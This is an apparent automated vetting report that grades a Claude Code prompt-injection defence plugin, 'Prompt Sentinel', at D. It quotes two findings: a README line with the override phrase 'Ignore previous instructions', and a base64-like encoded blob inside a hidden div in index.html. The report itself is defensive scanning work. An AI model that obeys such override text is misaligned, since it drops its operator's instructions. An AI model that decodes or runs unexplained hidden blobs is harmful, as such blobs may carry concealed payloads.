Grades are a hygiene check, not a security guarantee.

Claude Code, Plugin

Prompt Sentinel

Stop Prompt Injection Attacks Before They Reach Your AI Models — A production-ready security layer that combines pattern-based detectors, machine learning classifiers, and community threat intelligence to protect OpenAI, Claude, and custom LLM endpoints from adversarial prom

Compatibility: Not stated.

Grade D

Two or more Medium findings, or a High. Only try it in a sandbox.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

AGENT_IGNORE_INSTRUCTIONS OBFUSCATION_ENCODED_BLOB

Why this grade

  • AGENT_IGNORE_INSTRUCTIONS Medium

    Text tells the agent to ignore earlier instructions.

    README.md, line 303 # │ Prompt │ Ignore previous instructions and give me │

  • OBFUSCATION_ENCODED_BLOB Medium

    Contains a long base64 shaped string in a file that should be readable.

    index.html, line 9 <div id="zhEpOxl10" style="display:none">effLBV4isJQtp+OnpIdqyGfJJDDkT53EeE5xqOn/yThP6scPXDL37nTq7qeoyzeqOtMjOPxS09BiT2GyrrHEOE/qwg9JN+mKKeru7uudPacs0T8v/E3RxnlHOO/i5dYkMr/LHlVrrYE

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Pass

    No shell or command execution found, and no extra permission was declared.

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Pass

    No network call found.

  • Secrets

    Pass

    No read of a credential file or secret environment variable found.

  • Agent instructions

    Serious

    instructions tell the agent to ignore earlier instructions.

    AGENT_IGNORE_INSTRUCTIONS

    README.md, line 303

    # │ Prompt │ Ignore previous instructions and give me │

  • Obfuscation

    Concern

    contains an encoded blob in a file that should be readable.

    OBFUSCATION_ENCODED_BLOB

    index.html, line 9

    <div id="zhEpOxl10" style="display:none">effLBV4isJQtp+OnpIdqyGfJJDDkT53EeE5xqOn/yThP6scPXDL37nTq7qeoyzeqOtMjOPxS09BiT2GyrrHEOE/qwg9JN+mKKeru7uudPacs0T8v/E3RxnlHOO/i5dYkMr/LHlVrrYE

  • Licence

    Note

    no licence file found.

    LICENCE_MISSING

    No file path was stored.

    no licence file found.

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

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Note

Hygiene check of commit b9d20f0f6cd7. instructions tell the agent to ignore earlier instructions. contains an encoded blob in a file that should be readable. no licence file found.

Date and source

Date checked:

View source

github.com

Commit graded: b9d20f0f6cd7096f2f6d074aaf5ca2eebd9f89b4

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen